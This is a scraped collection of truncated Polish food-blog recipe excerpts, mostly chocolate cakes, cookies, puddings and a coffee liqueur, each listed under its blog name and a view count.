się nada (ok. 20 g) 2 jajka rozmiar L 1 łyżka ksylitolu (ok. 10 g) 1/4 łyżeczki sody oczyszczonej 1/2 łyżeczki oleju kokosowego/rzepakowego (ok. 3 g) 2 kostki gorzkiej czekolady (ok. 20 g) 2 płaskie łyżki dżemu z wiśni (ok. 30 g) 1. W misce roztrzepałam jajka z ksylitolem i sodą oczyszczoną. 2. Jajka wymieszałam z twarogiem, mąką(...)najmniejszym ogniu pod przykryciem, kilka minut do uzyskania złotego koloru. 4. Podzieliłam na 8 części (4 części stanowią jedną porcję) i udekorowałam swoją połowę posiekaną grubo kostką gorzkiej czekolady i łyżką domowego dżemu z wiśni. SMACZNEGO ! Wartość odżywcza* porcji: 314 kcal 17,4 g białka 17,7 g tłuszczów

Vroblewska-fitlife
Panforte czekoladowe. 124

mielonego białego pieprzu 1/2 łyżeczki mielonego cynamonu 1/4 łyżeczki soli 85 g mąki pszennej 2 łyżeczki kakao 130 g cukru 230 g miodu 30 g masła 100 g gorzkiej czekolady      Orzechy i migdały osobno prażymy na patelni lub w piekarniku (na złoto). Chłodne orzechy, migdały, suszone i kandyzowane owoce, przyprawy, mąkę oraz kakao mieszamy w sporej misce(...)Cukier, miód i masło przekładamy do rondelka i podgrzewamy do wrzenia, a następnie gotujemy około 3 minut- syrop powinien osiągnąć temperaturę 120°C. Teraz wrzucamy połamaną w kostkę czekoladę i podgrzewamy mieszając do jej rozpuszczenia. Masę wlewamy do bakalii i mieszamy do połączenia, a następnie przekładamy do formy. Wierzch ciasta dociskamy i wygładzamy zwilżonymi wodą dłońmi. Pieczemy 40-45 minut

Rozpustne gotowanie
Czekoladki z orzeszkami ziemnymi i solą morską 186

morską – szybko się je robi a jeszcze szybciej znikają :) Przepis pochodzi z ostatnio recenzowanej książki „Moje Wypieki. Całkiem nowe przepisy”. Składniki na czekoladki: – 100 g czekolady gorzkiej – 100 g czekolady mlecznej – 200 g orzeszków ziemnych solonych

Kuchenne Wariacje
Biszkoptowa rolada piernikowa z pistacjami 262

Składniki na krem: 250 g serka mascarpone 200 g śmietany kremówki 3 łyżki cukru pudru 1 laska wanilii 2 łyżki rumu Dodatkowo: 50 ml śmietany kremówki 100 g gorzkiej czekolady orzeszki pistacjowe mały słoik dżemu Wykonanie: jajka z cukrem ubić mikserem na puszysty, biały kogel-mogel. Ubijać około 8-10 minut. Masa powinna zwiększyć objętość 3-krotnie mąkę przesiać przez(...)równomiernie rozsmarować przygotowany krem. Zwinąć roladę. Owinąć folią spożywczą i odstawić do lodówki do stężenia, najlepiej na całą noc w rondelku zagotować śmietanę kremówkę, dodać połamaną na małe kwałeczki czekoladę i wymieszać do rozpuszczenia. Polewą czekoladową posmarować roladę. Na koniec posypać posiekanymo orzeszkami pistacjowymi

Gotuj zdrowo!Guten Appetit!
Babka czekoladowa jogurtowa 164

Dawno nie było czekoladowo na codojedzenia. Babka czekoladowa jogurtowa to kolejny czekoladowy wypiek, który na pewno przypadnie Wam do smaku. Bardzo lubię ucierane babki , wilgotne i pachnące czekoladą. Tej nic dodać nic ująć. Baba jak się patrzy! Użyłam starej foremki do babki. Prosta, metalowa i dosyć wysoka. Stara jak świat! Zupełnie zapomniałam, że ją mam. Przydała się dzisiaj. Babka wyrosła(...)cukru 200 ml greckiego jogurtu 2 jajka 50 g kakao 250 g pszennej mąki 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej Ganache 100 g gorzkiej czekolady, 70% kakao 4 łyżki masła 2 łyżeczki golden syropu 1 łyżka śmietanki kremówki Nastaw piekarnik na 150ºC na termoobieg (bez termoobiegu 165ºC). Wszystkie składniki powinny być w temperaturze pokojowej. Zmiksuj masło

codojedzenia
Malinowe wspomnienie – ciasto bez pieczenia 462

herbatniki maślane na jakieś owsiane ciasteczka. Składniki na tortownicę o średnicy 23 cm: Spód: – 170 g herbatników maślanych lub pełnoziarnistych – 70 g masła – 70 g gorzkiej czekolady Herbatniki mielimy na piasek, a czekoladę wraz z masłem rozpuszczamy w garnuszku. Następnie łączymy jedno z drugim. Ja ugniatam całość widelcem, tak żeby wszystkie herbatniki się oblepiły. Tortownicę wykładamy papierem

Relaxtime
Kostki piernikowe z kremem orzechowym i dżemem wiśniowym 2965

mąki pszennej Krem orzechowy: 50 g orzechów włoskich, zmielonych 50 g mleka 50 g masła 30 g cukru pudru Dodatkowo: 1/2 słoiczka dżemu wiśniowego 50 g gorzkiej czekolady 25 g masła Przygotowanie: Ciasto: Pierwsze 4 składniki ciasta (masło, miód, kakao i przyprawę do piernika) umieścić w garnuszku i podgrzać, aż składniki się rozpuszczą i połączą. Mieszankę odstawić do wystudzenia(...)równe małe prostokąty). Pierwszy prostokąt wysmarować kremem orzechowym, przykryć II ciastem. Ten wysmarować dżemem i przykryć ostatnim blatem ciasta piernikowego. Całość docisnąć dłonią, by poszczególne warstwy się połączyły. Czekoladę gorzką rozpuścić z masłem w kąpieli wodnej . Polewą oblać górę ciasta. Ciasto pokroić w malutkie kosteczki 3cm×3cm. Smacznego

Nastoletnie Wypiekanie
Wizyta w fabryce czekolady E.Wedel 158

jest jedną z najstarszych w całej fabryce. Torcik Wedlowski od prawie 80 lat zachwyca podniebienia Polaków delikatnym smakiem kruchego wafla, przekładanego kremem orzechowym, oblanego przepyszną wedlowską czekoladą oraz unikalną, ręcznie robioną dekoracją. Torcik wedlowski sprzedawany jest w eleganckim kwadratowym opakowaniu, który jest idealny jako upominek na każdą okazję. Niżej przedstawiam Wam, krótką relację(...)height: 1em;" /> Był to niesowity, słodki i czekoladowy dzień. Dziękuję marce Wedel za możliwość wzięcia udziału w słodkich warsztatach Post Wizyta w fabryce czekolady E.Wedel pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Babka z nadzieniem czekoladowo-cynamonowym 123

jajko szczypta soli 130 g masła w temperaturze pokojowej dodatkowo: mąka do podsypywania, masło do natłuszczenia formy, cukier puder do dekoracji Na nadzienie: 20 g kakao 80 g gorzkiej czekolady pokrojonej na małe kawałki 70 g cukru trzcinowego 1 łyżeczka mielonego cynamonu 50 g masła w temperaturze pokojowej WYKONANIE Do małej miski wlać letnią wodę, dodać pokruszone drożdże i wymieszać(...)góry np. papierem do pieczenia. Upieczoną babkę wyciągnąć z formy i ostudzić na kartce. Do dekoracji posypać przez sitko cukrem pudrem. Babkę można udekorować również lukrem lub polać białą czekoladą

Passions hobbies life
Sernik Zebra 102

masła • 200 g cukru – 1 szklanka • 1 cukier waniliowy • 3/4 szklanki wody • 4 czubate łyżki kakao • 300 g mąki – 2 szklanki • 4 jajka Polewa • 1 czekolada gorzka • 1/2 szklanki śmietanki 30% • kilka truskawek do dekoracji • listki mięty Wykonanie: • Piekarnik nagrzać do 240 st.C. • Dno okrągłej tortownicy o średnicy 26 cm wyłożyć papierem do pieczenia(...)czym ustawiam czas na 20 minut. • Na koniec otworzyć piekarnik i zostawić ciasto do wystygnięcia. • Wstawić do lodówki na kilka godzin. • Czekoladę rozpuścić w kąpieli wodnej i wymieszać ze śmietanką. • Posmarować wierzch i boki sernika, ozdobić truskawkami i listkami mięty

To co kocham
Likier Kawosz 89

Czekoladnicy przyszła kolej na Kawosza. Mocno aromatyczny, gęsty i karmelowy. Składniki: • 1 litr wódki • 2 puszki mleka słodzonego • 1 czekolada gorzka • 6 czubatych łyżeczek kawy rozpuszczalnej • 1/2 szklanki gorącej wody Wykonanie: • Mleko w puszcze gotować przez 1,5 godziny w garnku z wodą na wolnym ogniu. Uważać, aby woda nie wygotowała się, bo puszka(...)wybuchnie. • Po lekkim przestudzeniu otworzyć puszki i masę kajmakową połączyć z wódką używając trzepaczki rózgi. • Czekoladę rozpuścić na parze w metalowej misce na garnku z gotującą się wodą i połączyć z wódką. • Kawę zalać wrzącą wodą, dokładnie wymieszać i połączyć z wódką. • Odstawić likier

To co kocham
Ciasto czekoladowe z burakiem 233

Składniki: 300 g puree z buraka* 3 duże jajka 200 g oleju rzepakowego 180 g mąki 50 g kakao 200 g cukru 2 łyżeczki proszku do pieczenia 100 g czekolady gorzkiej Krem: 250 ml śmietany 30% 250 g serka mascarpone 2 łyżki cukru pudru Przygotowanie: *Buraki myjemy, osuszamy, zawijamy w folię aluminiową i pieczemy w piekarniku w temperaturze 200 stopni(...)miękkości. Czas pieczenia zależy od wielkości buraków. Upieczone, wystudzone buraki obieramy, kroimy w kawałki, a następnie miksujemy na puree. Puree z buraków, jajka i olej miksujemy. Dodajemy drobno posiekaną czekoladę i mieszamy. Wszystkie "suche" składniki mieszamy razem. Do zmiksowanych mokrych składników dodajemy suche i mieszamy aż stworzą jednolitą masę. Dno tortownicy wykładamy papierem do pieczenia. Przelewamy ciasto i pieczemy

Smakowity Blog Kulinarny
Ciasto Snickers bez pieczenia 1116

bardzo cienkie plasterki, wymieszać wraz z masą. Wyłożyć na przygotowany spód. Równomiernie rozsmarować i wstawić do lodówki. Polewa:  400g masy krówkowej (kajmaku),  orzeszki do posypania lub starta czekolada. Wierzch ciasta posmarować masą krówkową. Można posypać np. posiekanymi orzechami lub startą czekoladą. Przechowywać w lodówce, jednak wyjąć ciasto z lodówki 30-60 minut przed podaniem. Źródło: Kuchnia pod wulkanem

Z miłości do słodkości
Ciasto bananowo-czekoladowe 231

herbatkę, usiąść pod kocykiem i włączyć jakiś dobry film :)  Składniki: 3 banany mąka 240 g 2 jajka cukier 100 g cukier waniliowy 1 op. (16 g) 2 tabliczki czekolady mlecznej proszek do pieczenia 1,5 łyżeczki masło 100 g Do małej miski wbijam 2 jajka, dodaję cukier oraz cukier waniliowy i całość miksuję do uzyskania puszystej, jasnej masy. Obieram(...)dokładnie mieszam (może być mikserem) a następnie przesiewam mąkę z proszkiem do pieczenia i miksuję aż całość ładnie się połączy. Na koniec zostaje tylko pokroić w drobną kosteczkę czekoladę i dodać do masy.  Przekładam do formy, u mnie silikonowa więc nie ma potrzeby smarować tłuszczem ale zwykle blaszki lepiej posmarować tłuszczem (fajną sprawą jest tłuszcz w sprayu, niedawno kupiłam

Kuchnia Viki
Fit pralinki a'la ferrero rocher 210

zmielonych orzechów (ziemne, włoskie lub inne) 2 łyżeczki kakao 1/2szklanki zmielonych płatków owsianych 1/3 szklanki otrębów owsianych ew. 1 łyżka miodu, jeśli lubicie słodkie na polewę: 70 g gorzkiej czekolady + 2 łyżki posiekanych drobno orzechów włoskich Wszystkie składniki dokładnie połączyć. Jeśli masa będzie zbyt sucha dodać więcej masła orzechowego lub pół rozgniecionego banana. Z masy formować kuleczki i układać(...)talerzu. Schłodzić. Przygotować polewę. W tym celu roztopić czekoladę i wymieszać z posiekanymi drobno orzechami. Obtaczać kulki i ponownie schłodzić do stężenia. Smacznego

Chocolate Muffin Blog
Czekoladowo-cynamonowe ślimaczki 228

zrobienia, a zapewniam nikt im się nie oprze.  Składniki na ciasto: 30g świeżych drożdży 3 szklanki cukru 3/4 szklanki mleka 5 szklanek mąki 1 jajko 100g masła Nadzienie: czekolada (smak taki jaki lubicie) 2 łyżki cukru 1 łyżka cynamonu 100g masła Wykonanie ciasta: Przygotowujemy zaczyn: podgrzewami mleko, wrzucamy do niego drożdże i łyżkę cukru. Mieszamy i odstawiamy w ciepłe(...)masło. Zagniatamy ciasto, aż będzie elastyczne.  Ciasto przykrywamy i odstawiamy na ok 1 godz do wyrośnięcia. Nadzienie: Pod koniec wyrastania ciasta topimy masło, gdy trochę wystygnie dodajemy cukier, czekoladę  i cynamon. Wszystko mieszamy na gładką masę. Ciasto wałkujemy w prostokąt, ale nie za cienko. Nadzienie rozprowadzamy po cieście. Zwijamy roladę i dzielimy na 10 kawałków. Tortownicę pokrywamy papierem

Panda i jej świat
Kawa czekoladowa z przyprawami 174

raduje smakiem, ale też rozgrzewa dzięki mieszance przypraw . Spróbujcie, polecam. A ja wracam do obowiązków i … remontu Składniki: 1/2 szklanki mleka (2-3,2%) 3 duże kostki gorzkiej czekolady (około 40 g) 1/2 szklanki wody 2 łyżeczki kawy rozpuszczalnej cukier (jeśli słodzicie, u mnie 1 łyżeczka) 3/4 łyżeczki przypraw do kawy Skworcu + szczypta bita śmietana Przygotowanie: Czekoladę łamiemy

Słodkie okruszki
Poniedziałkowy fit - Pudding czekoladowy z awokado 176

sojowym da pyszny deser dla całej rodziny. Pudding czekoladowy z awokado Składniki : 2 średniej wielkości awokado 2 łyżki miodu 2 -3 łyżeczki kakao około 75-100 ml mleka sojowego czekolada tarta do oprószenia  Przygotowanie : Awokado przekrawamy na pół, usuwamy pestki i wydrążamy miąższ, przekładamy do malaksera i rozdrabniamy, następnie dodajemy miód oraz kakao i całość blendujemy przez kilkanaście sekund(...)uzyskania gęstego kremu czekoladowego. Na koniec dodajemy mleko sojowe i blednujemy do połączenia. Przekładamy pudding do pucharków, oprószamy tarta czekoladą. Wstawiamy na pół godziny do lodówki

Kulinarny Świat Konczi i Szpileczki
Ciasteczka z dyni z kawałkami czekolady 181

oleju rzepakowego,  3/4 szklanki brązowego cukru,  szczypta soli,  1/2 łyżeczki sody oczyszczonej,  2 płaskie łyżeczki przyprawy do piernika,  garść pestek dyni,  50g gorzkiej czekolady. Wykonanie: Mąki przesiać, wymieszać wraz z sodą oczyszczoną, przyprawą do piernika, szczyptą soli i cukrem. Dodać olej oraz puree. Dokładnie wymieszać drewnianą łyżką. Na koniec dodać pestki dyni oraz posiekaną(...)czekoladę. Wymieszać. Na blaszkę wyłożoną papierem do pieczenia kłaść kleksy formując niewielkie, okrągłe ciastka. Piec około 15-20 minut w temp. 190st. Ostudzić na kratce.                                                                     Smacznego

Z miłości do słodkości
"Michałki" domowa wersja znanych i lubianych . 155

też przecież tłuszcz. 2 szklanki orzeszków ziemnych niesolonych szklanka mleka szklanka mleka w proszku 15 suszonych daktyli 3 łyżki kakao płaska łyżeczka rozpuszczalnej kawy 10 ciastek zbożowych Polewa: tabliczka czekolady ( u mnie gorzka) 2 łyżki mleka łyżka oleju Daktyle ( to one zastąpią cukier)kroimy na  trzy - cztery części. Zagotowujemy mleko, rozprowadzamy w nim kakao, kawę i takim płynem zalewamy(...)widoczne w cukierkach. Gotową masę odstawiamy na godzinę, aby ciasteczka które pełnią rolę zagęstnika namokły i ściągnęły wilgoć. Zwilżonymi w wodzie dłońmi formujemy kulki, które następnie kąpiemy w rozpuszczonej czekoladzie. Odstawiamy do stężenia w chłodne miejsce. Póki stoją na zewnątrz, są błyszczące. Gdy wstawimy do lodówki tracą swój połysk, ale to jedyna ich wada. :) Ale i tak są grzechu warte

Dieta moja pasja
Lekki sernik na orzechowym spodzie. 178

waniliowego cukier brzozowy według smaku 2 łyżki kaszy manny 2 łyżki mąki ziemniaczanej Oraz: 15 orzechów włoskich łyżeczka kakao łyżka masła 2 łyżki wiórek kokosowych Polewa: 1/3 tabliczki gorzkiej czekolady  łyżka mleka łyżka oleju łyżka masła Tortownicę 20 cm smarujemy masłem i wysypujemy wiórkami kokosowymi. Obrane orzechy kroimy na drobno. Twaróg mielimy lub przecieramy przez sitko. Ja osobiście jestem(...)sernik ostygnie wyjmujemy go z formy, ale obracamy spodem do góry. W taki to sposób uzyskamy chrupiący orzechowy spód i gładki wierzch. Polewamy rozpuszczoną w kąpieli wodnej czekoladą i dekorujemy według własnej fantazji. Mamy aksamitny, delikatny sernik nawet po kilu dniach, a to dlatego że dodana jest do niego śmietana, a nie masło, które twardnieje i tworzy zwartą strukturę ciasta

Dieta moja pasja
Ciasto bananowe z białą czekoladą 252

opakowanie cukru wanilinowego 150 ml oleju rzepakowego 4 banany 200 g mąki pszennej tortowej 70 g mąki ryżowej 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody 90 g białej czekolady WYKONANIE Piekarnik rozgrzać do temperatury 180 ° C, dno blaszki o wymiarach 25x30 cm posmarować masłem i posypać mąką.  Do miski wsypać oba rodzaje mąki, proszek do pieczenia i sodę(...)papkę banany, po czym zmiksować na wolnych obrotach miksera. Na koniec dodać składniki sypkie i krótko zmiksować na najwolniejszych obrotach miksera. Do gotowej masy wsypać startą na tarce czekoladę, wymieszać szpatułką i przelać do formy. Piec na środkowej półce piekarnika około 30 minut. Gotowe ciasto ostudzić i udekorować cukrem pudrem lub polewą czekoladową

Passions hobbies life
Kostka bounty 260

czubate szklanki maki tortowej 3 łyżeczki proszku do pieczenia masa kokosowa : 210 g masła 1/2 szklanki cukru 330 ml kwaśnej śmietany 18% 260 g wiórek kokosowych polewa : 2 tabliczki czekolady mlecznej Przygotowanie : Do garnka przekładamy margarynę, dodajemy cukier, wodę oraz kakao - rozpuszczamy całość (nie zagotowujemy), odlewamy 125 ml na polewę, pozostałość studzimy. Do zimnej masy wbijamy żółtka, miksujemy następnie dodając(...)składników, wsypujemy wiórki i mieszamy przez 10 sekund. Jedną część ciasta wkładamy do blaszki, wylewamy masę kokosową i przykrywamy drugim blatem. Polewa: odlaną czekoladową część przelewamy do miseczki, wkruszamy czekoladę i roztapiamy całość w kąpieli wodnej. Gotową polewa dekorujemy ciasto. Ciasto wstawiamy do lodówki na około 3 -4 godziny

Kulinarny Świat Konczi i Szpileczki
Ciastka orzechowe z czekoladą 565

szczypta soli 1 jajko 1 łyżka gęstego jogurtu naturalnego 1/2 łyżeczki sody oczyszczonej 1/2 łyżeczki proszku do pieczenia 1 szkl mąki pszennej 60 g zmielonych orzechów włoskich 100 g czekolady z kawałkami orzechów, pokrojonej na kawałki     Przygotowanie:   Miękkie masło utrzeć z cukrem i solą do  jasności i puszystości. Dalej miksować, dodać jajko, jogurt, a następnie(...)wsypać suche składniki (mąkę, sodę, proszek do pieczenia, zmielone orzechy i pokrojoną na kawałki czekoladę). Dobrze zmiksować, aż masa będzie owijać się o trzepaczki miksera.    Z tak przygotowanego ciasta uformować kuleczki (każda o wadze ok. 35 g). Ułożyć je na blaszce wyłożonej papierem do pieczenia w sporych odległościach od siebie. Każde ciastko spłaszczyć dłonią

Nastoletnie Wypiekanie
Czekoladowa Inka z pazurem 116

Dzisiaj mam dla Was ciekawą propozycję na halloweenowy wieczór: czekoladowa Inka z pazurem, czyli szczyptą chili. Do tego prawdziwa gorzka czekolada. Brzmi pysznie, prawda? Do tego przygotujcie jakieś ciasteczka, dorzućcie coś z motywem dyni i obejrzyjcie np. horror. Przekąski „w klimacie” również się przydadzą.     Składniki: 250 ml mleka 2 łyżeczki Inki Klasycznej 5 kostek gorzkiej czekolady 1/4 łyżeczki

Pasja Smaku
Idealny biszkopt czekoladowy/kakaowy 173

dodać w osobnym przepisie, aby ułatwić Wam znalezienie podstawowego przepisu. Uwielbiam ten biszkopt, nawet bardziej od jasnego, Uwielbiam wszystko, co czekoladowe, ostatnio to ubóstwiam. :) Jednak można śmiało pominąć dodatek czekolady w składzie. Wtedy wyjdzie po prostu pyszny kakaowy biszkopt. Można też dać jej nieco więcej, tak do 30-40 g. Muszę się Wam przyznać, że po upieczeniu wyglądał kiepsko(...)blaty): 6 dużych jajek (L) 140 g mąki tortowej 45 g kakao ciemnego 100 g cukru 85 g domowego cukru waniliowego 2 łyżki startej gorzkiej czekolady Przygotowanie: Wszystkie składniki powinny mieć temperaturę pokojową. Mąkę i kakao przesiej do osobnej miski. Białka oddziel od żółtek. Ubij je ze szczyptą soli na sztywno. Pod koniec dodawaj partiami cukier, cały czas miksując

Anioszek w kuchni
SERNIKOBROWNIE Z JEŻYNAMI 111

większą podwajamy porcje) WARSTWA SEROWA: * twaróg mielony 3x – 250 g * jajko – 1 szt * wanilia – 0,5 laski * drobny cukier – 50 g * mąka ziemniaczana – 1 płaska łyżka WARSTWA CZEKOLADOWA: * czekolada mleczna – 125 g * kakao – 1 łyżka * masło 82% – 100 g * cukier – 60 g * jajko – 1 szt * mąka pszenna – 50 g * jeżyny – ok. 100 g SPOSÓB PRZYRZĄDZENIA: WARSTWA SEROWA: Wszystkie składniki(...)miksujemy na najniższych obrotach przez ok. 3 minuty – powinny być w temperaturze pokojowej . WARSTWA CZEKOLADOWA: W kąpieli wodnej roztapiamy masło z czekoladą i cukrem, lekko studzimy. Do masy dodajemy jajko, mąkę i kakao – dokładnie mieszamy. CAŁOŚĆ: Na dno foremki wyłożone papierem do pieczenia wylewamy 3/4 masy czekoladowej, przykrywamy ( nierówno ) masą serową i ponownie wylewamy masę czekoladową ( również nierówno). Ca całości

Ostra na Słodko
ciasto dyniowe z czekoladą 131

składniki: 240 g mąki orkiszowej lub pszennej 160 g cukru 250 ml puree z dyni ( tutaj przepis ) 60 g czekolady gorzkiej lub deserowej 1 jajko 60 ml śmietany kwaśnej 50 ml masła, roztopionego 1 łyżeczka przyprawy do ciast z dynią ( tutaj przepis ) 1 łyżeczka sody oczyszczonej 1 łyżeczka proszku do pieczenia 1 szczypta soli wykonanie: Make przesiewamy wraz z soda(...)oraz proszkiem do pieczenia. Dodajemy przyprawę do ciast z dynia oraz sól i mieszamy. W osobnym naczyniu mieszamy cukier, jajko, śmietanę, masło oraz puree z dyni. Czekoladę siekamy i mieszamy z suchymi składnikami. Następnie suche składniki dodajemy do mokrych i mieszamy tylko do połączenia się składników. Ciasto równomiernie przekładamy do natłuszczonej foremki (ok. 26x11cm, wymiary z góry keksówki). Pieczemy

Domowy Smak Jedzenia
Galaretka kawowa na mleku migdałowym 131

SKŁADNIKI na 4 porcje w 300 ml szklankach ok. 600 ml mleka migdałowego* ok. 500 ml świeżo zaparzonej kawy** 4 łyżeczki żelatyny miód (opcjonalnie) 200 ml śmietanki kokosowej kostka czekolady 90% kakao 1 świeża figa * PRZYGOTOWANIE Jedną łyżeczkę żelatyny zalej łyżką zimnej wody, a następnie 2 łyżkami wrzątku, wymieszaj, aż się rozpuści. Żelatynę wymieszaj z 300 ml mleka migdałowego, opcjonalnie(...)kawy, a ostatnia to 200 ml kawy. Odstaw do stężenia na kilka godzin. Po tym czasie ubij kokosową śmietankę i udekoruj nią wierzch galaretek. Na tartce zetrzyj czekoladę i posyp nią deser. Podawaj z plasterkami figi pokrojonej w plasterki. *Zamiast mleka migdałowego możesz również użyć kokosowego lub tradycyjnego krowiego. Świetnie sprawdzi się również niesłodzone mleko skondensowane. **Kawę najlepiej zaparzyć mocną

Food Square
Tort czekoladowy z adwokatowym kremem 175

śmietany kremówki 35% 150 ml adwokata 5 łyżek cukru pudru 1 łyżeczka cukru waniliowego dodatkowo: 1 pomarańcza 5 łyżek dżemu z pigwy lub innego 160 g gorzkiej czekolady 100 ml śmietany kremówki Wykonanie:   obie mąki wymieszać i zagnieść z zimnym masłem pokrojonym na małe kawałeczki na jednolite ciasto. Gdyby masa się nie kleiła dodać 1 łyżkę zimnej wody. Ciastem(...)Wysmarować kremem boki tortu i wyrównać. Trzecią, mniejszą porcję kremu zostawić do wykonania rozetek przygotować polewę czekoladową: śmietanę kremówkę umieścić w małym rondelku i doprowadzić do wrzenia. Dołożyć połamaną czekoladę i mieszać do rozpuszczenia. Nieco przestudzić przestudzoną polewę rozprowadzić na powierzchni tortu, rozpoczynając od środka, zataczając rondelkiem coraz szersze kręgi. Pozostawić do ostudzenia  gdy polewa zastygnie górę toru udekorować

Gotuj zdrowo!Guten Appetit!
Orzechowo-czekoladowe jeże 139

kawy.  Składniki:  120 g masła 75 g miałkiego drobnego cukru 1 łyżka ekstraktu waniliowego  3 jajka 80 g zmielonych orzechów włoskich i laskowych 100 g gorzkiej czekolady 150 g mąki  50 g mąki ziemniaczanej 2 łyżeczki proszku do pieczenia 1 łyżka kakao szczypta soli 2 łyżki kandyzowanej skórki pomarańczowej Polewa:  kilka łyżek cukru pudru(...)puszystą i jasną masę. Dodajemy ekstrakt waniliowy, sól  i jajka wbijając pojedynczo.  2.Orzechy mielimy w malakserze na drobną mączkę i mieszamy z masą jajeczną. 100 g czekolady ścieramy na tarce o drobnych oczkach  dodając do masy.  3. Do dużej miski przesiewamy obie mąki oraz proszek do pieczenia oraz kakao. Stopniowo łączymy z masą maślaną pod koniec

vaniliowoczekoladowa
Czekoladowo-waniliowy budyń z kaszy jaglanej ze śliwkami 125

puszki po mleku) 4 łyżki syropu klonowego (lub miodu) kilka kropli ekstraktu z wanilii (lub ziarenek z laski wanilii) 1 łyżka kakao (najlepiej surowego) kilka słodkich śliwek 1 kostka czekolady o zawartości kakao 99% * PRZYGOTOWANIE Kaszę jaglaną ugotuj w proporcji z wodą 1:2 do miękkości. Jeszcze ciepłą wrzuć do kielich blendera razem z kokosową śmietanką. Zmiksuj na gładką masę(...)przemian kakaową i waniliową warstwę. Śliwki poprzekrawaj na połówki i skarmelizuj na patelni z rozgrzanym syropem klonowym. Gdy będą już miękkie, ułóż je na wierzchu budyniu. Całość posyp startą czekoladą

Food Square
Domowe batoniki Bounty 170

Bounty :) Oprócz pysznego smaku, tak przygotowane batoniki są bardzo zdrowe :) Domowe batoniki Bounty – składniki 1 szklanka wiórek kokosowych 1,5 łyżki miodu 100 ml mleczka kokosowego tabliczka gorzkiej czekolady Domowe batoniki Bounty – przepis W misce mieszamy wiórki kokosowe, miód, mleczko kokosowe. Mleczko kokosowe dolewamy partiami sprawdzając czy całe zostaje pochłonięte przez wiórki kokosowe. Z przygotowanej masy lepimy domowe(...)batoniki w dowolnych kształtach. Czekoladę rozpuszczamy w kąpieli wodnej i polewamy nią batoniki. Batoniki Bounty wstawiamy na 3-4 godziny do lodówki.   Post Domowe batoniki Bounty pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Gryczany budyń z bananami 149

polecam ;).     Składniki: (na 2 porcje)   6 łyżek nieugotowanej kaszy gryczanej 400 ml mleka 2 łyżeczki naturalnego kakao + odrobina do oprószenia 1/2 tabliczki gorzkiej lub mlecznej czekolady 1-2 łyżki cukru z wanilią 1 banan     Przygotowanie:     Kaszę gryczaną zmielić na mączkę (np. w młynku do kawy). Zalać ją mlekiem dodając drobno(...)posiekaną czekoladę, kakao oraz cukier z wanilią. Całość zagotować, często mieszając, aż budyń zgęstnieje (ok. 15 minut). Po tym czasie całość zmiksować blenderem do gładkości.   Jeszcze ciepły budyń przelać do dwóch pucharków. Podawać na ciepło z pokrojonym w plasterki bananem. Oprószyć gorzkim kakao. Smacznego

Nastoletnie Wypiekanie
Sernik dyniowy 117

mielonego twarogu 250 g puree z dyni 100 g masła 3 łyżki cukru 2 łyżki cukru z wanilią 1/4 szkl. mleka 2 jajka 2 budynie śmietankowe ponadto: 4 kostki czekolady deserowej Białka ubić na sztywną pianę,miksując dodawać cukier i po jednym żółtku. Mąkę,kakao i proszek wymieszać razem,przesiać przez sito i delikatnie wymieszać z masą jajeczną. Okrągłą tortownicę(...)Gorącą masę wylać na biszkopt,wyrównać i odstawić do wystygnięcia. Kiedy masa serowa będzie zimna sernik wstawić jeszcze na 2-3 godziny do lodówki. Przed podaniem na wierzch zetrzeć czekoladę

Kolorowa kuchnia Elki
Budyń dyniowy z białą czekoladą 192

Obowiązkowy z sezonie dyniowym. Pyszny i aromatyczny budyń z nutą białej czekolady z pewnością zasmakuje najmłodszym. Składniki 500 ml mleka 4 łyżki pure z dyni 50 g białej czekolady 1 cukier waniliowy 2 żółtka 3 łyżki mąki pszennej 2 łyżki … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Czekoladowe ciasto aromatyzowane syropem o smaku wanilii meksykańskiej 214

towarzystwie ukochanej osoby Polecam Wam ten przepis. Składniki: 250 g margaryny 2 1/2 łyżki ciemnego kakao (do wypieków) 5 łyżek wody 1 1/3 szklanki cukru około 42 g gorzkiej czekolady (u mnie z kandyzowaną skórką pomarańczową) 2 łyżki syropu barmańskiego deserowego o smaku wanilii meksykańskiej Victoria Cymes 3 jajka M 3 płaskie łyżeczki proszku do pieczenia 1 1/2 szklanki mąki(...)soli do posypania po wierzchu – orzechowy krokant Przygotowanie: Do garnuszka z grubszym dnem przekładamy margarynę, cukier, dodajemy 5 łyżek wody, ciemne kakao i połamaną na mniejsze kawałki gorzką czekoladą. Całość wstawiamy na mały gaz, co jakiś czas mieszamy aż do rozpuszczenia i całkowitego połączenia składników. Odstawiamy na chwilę do lekkiego przestudzenia. Następnie dodajemy 2 łyżki syropu o smaku wanilii

Słodkie okruszki
Ciasteczka ze świeżą miętą 184

czego 60 g to może być mąką pełnoziarnista 1 średniej wielkości banan szczypta soli 100 g cukru pół łyżeczki proszku do pieczenia nie więcej nić 50 g gorzkiej czekolady drobno posiekanej (u mnie była to posypka z Delecty, 100 % wege, wykopałam ze spiżarni) Przygotowanie: Do miski przesiej mąkę z dodatkiem proszku do pieczenia i solą. Banana z cukrem utrzyj(...)blenderze na naprawdę puszystą masę. Połącz suche i mokre składniki, a na samym końcu dodaj drobno posiekana czekoladę i miętę. Ciasto nakładaj łyżką na blachę wyłożoną papierem do pieczenia. Piecz w temp. 180-190 C na środkowej półce piekarnika przez 15 minut (aż brzegi ładnie się przyrumienią). Smacznego! Artykuł Ciasteczka ze świeżą miętą pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Czekoladowe ciasto z gruszkami 134

cukru wanilinowego 1 szklanka mleka 1/3 szklanki oleju 1 jajko duże 0,5 opakowania olejku rumowego 3 miękkie gruszki przekrojone na połówki, obrane z wydrążonymi gniazdami 5 kostek gorzkiej czekolady 1 łyżka mleka lub cukier puder Suche składniki wrzucamy do miski i mieszamy. W drugiej misce mieszamy mokre składniki i dolewamy je do suchych. Ciasto mieszamy łyżką, nie za długo(...)minut. Od 40 minuty trzeba sprawdzać patyczkiem w okolicach gruszek czy ciasto jest dopieczone.  Po wystudzeniu dekorujemy cukrem pudrem lub rozpuszczoną czekoladą z łyżką mleka.  Ciasto jest idealne na jesienne, coraz dłuższe wieczory.  Pomimo małego zakalca w okolicach gruszek jest pysznie

Emskie Smaki
Owsiane ciastka – pieguski 277

